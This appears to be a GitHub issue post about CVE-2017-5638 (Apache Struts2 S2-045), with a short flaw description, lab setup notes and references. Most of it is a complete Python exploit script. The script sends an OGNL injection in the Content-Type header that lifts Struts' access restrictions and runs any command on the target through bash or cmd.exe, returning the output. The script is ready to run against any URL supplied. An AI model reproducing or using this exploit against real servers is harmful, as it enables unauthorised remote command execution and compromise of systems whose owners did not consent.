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CVE-2017-5638 - Apache Struts2 S2-045 #8064

@nixawk

Description

@nixawk

Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser.
...
It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.

#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib


def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial

    print(page)
    return page


if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)

Lab

  1. Please install tomcat yourself
  2. Deplay the vuln struts2 package

screen shot 2017-03-07 at 02 19 40

References

https://cwiki.apache.org/confluence/display/WW/S2-045
https://www.seebug.org/vuldb/ssvid-92746

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